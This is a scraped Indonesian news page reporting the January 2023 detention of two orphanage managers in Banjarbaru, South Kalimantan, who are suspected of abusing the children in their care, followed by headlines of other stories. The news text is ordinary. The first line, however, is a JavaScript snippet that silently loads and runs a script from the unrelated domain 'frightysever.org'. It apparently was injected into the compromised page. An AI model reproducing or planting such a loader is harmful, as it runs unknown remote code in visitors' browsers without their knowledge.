(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dua orang terduga pelaku penganiayaan terhadap anak yatim di Rumah Yatim Dhuafa Jalan Pangeran Suriansyah Ujung, Kelurahan Mentaos, Kota Banjarbaru diamankan ke Mapolres Banjarbaru, Kamis (12/1/2023) siang.
Gerak cepat Polres Banjarbaru ini menyikapi adanya laporan masyarakat terkait dugaan penganiayaan terhadap anak di bawah umur di salah satu rumah yatim yang berada di Kelurahan Mentaos, Kecamatan Banjarbaru Utara.
Kapolres Banjarbaru, AKBP Dody Harza Kusumah melalui Kasat Reskrim Polres Banjarbaru, Iptu Zuhri mengatakan, terlapor dari pihak yayasan sudah dilakukan introgasi oleh penyidik Satreskrim Polres Banjarbaru.
“Langsung kami mengintrogasi pelapor dan terlapor dari pihak yayasan pengelola rumah yatim itu,” ujarnya, Kamis (12/1/2023).
Baca juga : 6 Anak Yatim Diduga Dianiaya Pengelola, Satpol PP Banjarbaru Tutup Rumah Yatim Dhuafa di Mentaos
Adapun terkait dugaan motif dan perbuatan yang dilakukan terduga pelaku masih diperdalam.
“Menunggu hasil dari korban menjalani visum di rumah sakit,” katanya.
Dilanjutkannya, apabila terdapat bukti permulaan yang cukup, maka akan dilakukan proses peningkatan kasus sesuai prosedur.
Sementara itu, Bhabinkamtibmas Mentaos, Aipda Karyanto menuturkan, berdasarkan informasi yang dikumpulkan selama memonitor permasalahan ini, ada dua orang terduga pelaku.
“Informasinya mereka saling bergantian menghukum anak-anak tersebut,” ujarnya.
Diungkapkannya, dia permulaan mendapat laporan dari masyarakat dan langsung dari anak asuh panti yang melarikan diri.
“Kami lakukan penulusuran,” katanya.
Baca juga : Pemkab Lamandau Gelar Penandatanganan Kontrak PBJ 2023
Setelah penulusuran, baru pihaknya menemukan adanya indikasi kekerasan yang dilakukan pihak pengelola rumah yatim dhuafa terhadap anak asuhannya.
“Awalnya tidak percaya, setelah ditelusuri ternyata ada bukti, ditambah dengan izin operasional yayasan tidak berlaku lagi,” bebernya.
Masih kata Aipda Karyanto, untuk pengelola rumah yatim dhuafa sudah diamankan ke Mapolres Banjarbaru guna menjalani pemeriksaan.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.